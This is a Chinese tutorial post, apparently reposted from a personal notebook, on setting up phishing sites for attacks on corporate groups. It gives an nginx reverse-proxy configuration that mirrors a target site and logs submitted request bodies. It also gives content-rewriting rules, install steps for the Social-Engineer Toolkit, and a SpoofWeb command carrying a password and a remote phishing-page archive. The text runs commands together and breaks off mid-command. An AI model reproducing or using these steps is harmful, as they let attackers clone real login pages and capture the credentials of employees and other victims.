时间:2023-07-06 09:03:01 | 来源:网站运营
时间:2023-07-06 09:03:01 来源:网站运营
干货|几种简单好用的钓鱼网站搭建方法:废话不多说,钓鱼YYDS,尤其是在对一些集团类型的攻击时,很好用wget -O install.sh http://download.bt.cn/install/install-ubuntu_6.0.sh && sudo bash install.sh
记得放行端口rm /usr/sbin/nginxrm -rf /etc/nginxapt-get remove nginxapt-get remove nginx-fullapt-get updateapt-get install nginx-full
修改配置:user www www;worker_processes auto;error_log /www/wwwlogs/nginx_error.log crit;pid /www/server/nginx/logs/nginx.pid;worker_rlimit_nofile 51200;events { use epoll; worker_connections 51200; multi_accept on; }http { log_format TestLog escape=json '$request $request_body $status '; include mime.types; #include luawaf.conf; include proxy.conf; default_type application/octet-stream; server_names_hash_bucket_size 512; client_header_buffer_size 32k; large_client_header_buffers 4 32k; client_max_body_size 50m; sendfile on; tcp_nopush on; keepalive_timeout 60; tcp_nodelay on; fastcgi_connect_timeout 300; fastcgi_send_timeout 300; fastcgi_read_timeout 300; fastcgi_buffer_size 64k; fastcgi_buffers 4 64k; fastcgi_busy_buffers_size 128k; fastcgi_temp_file_write_size 256k; fastcgi_intercept_errors on; gzip on; gzip_min_length 1k; gzip_buffers 4 16k; gzip_http_version 1.1; gzip_comp_level 2; gzip_types text/plain application/javascript application/x-javascript text/javascript text/css application/xml; gzip_vary on; gzip_proxied expired no-cache no-store private auth; gzip_disable "MSIE [1-6]/."; limit_conn_zone $binary_remote_addr zone=perip:10m; limit_conn_zone $server_name zone=perserver:10m; server_tokens off; access_log off;server { listen 8088; server_name 81.68.xx.xx; index index.html index.htm index.php index.jsp login.jsp index.aspx; #root /www/server/phpmyadmin; #error_page 404 /404.html; include enable-php.conf; location /{ proxy_pass https://106.75.xx.xx; proxy_set_header Host 81.68.xx.xx; proxy_set_header X-Forwarded-For $remote_addr; } access_log /www/wwwlogs/access.log TestLog; }include /www/server/panel/vhost/nginx/*.conf;}
配置完重启subs_filter_types text/css text/plain application/x-javascript application/javascript;subs_filter http:// 'https://';subs_filter abc.org 'xyz.net';subs_filter caoss.com 'css.net';//第一个参数是要被替换的,第二个参数是替换后sub_filter_once off; //替换所有的,默认是on,替换第一个
git clone https://github.com/trustedsec/social-engineer-toolkit.gitchmod 777 -R social-engineer-toolkit-master/cd social-engineer-toolkitpython setup.py install
报了个错,但是他提示可以直接使用,后来踩坑pip3问题apt-get remove python3-pip 删掉老的pip3vim vim /etc/apt/sources.list#加入以下内容deb http://cn.archive.ubuntu.com/ubuntu bionic main multiverse restricted universedeb http://cn.archive.ubuntu.com/ubuntu bionic-updates main multiverse restricted universedeb http://cn.archive.ubuntu.com/ubuntu bionic-security main multiverse restricted universedeb http://cn.archive.ubuntu.com/ubuntu bionic-proposed main multiverse restricted universesudo apt-get updatesudo apt-get install python3-pip成功运行pip3pip3 install -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simplepython setup.py install
1)、打开setoolkithttps://github.com/5icorgi/SpoofWeb
下载后发现格式为windows,修改格式为unix,sed -i "s//r//" PhishingWebSrv.sh./PhishingWebSrv.sh "sp.hi.org" '81PtmLoDdsi@#402njgJ4G' "https://fileproxy.io/spoofpage.7z" "PaZahey873
这里手上暂时没钓鱼页面的URL源码,就暂时不复现了。文章来源:https://www.yuque.com/iceqaq/erzlyu/iqbvvc
如有侵权,请联系删除-END-
关键词:鱼网,方法,简单,干货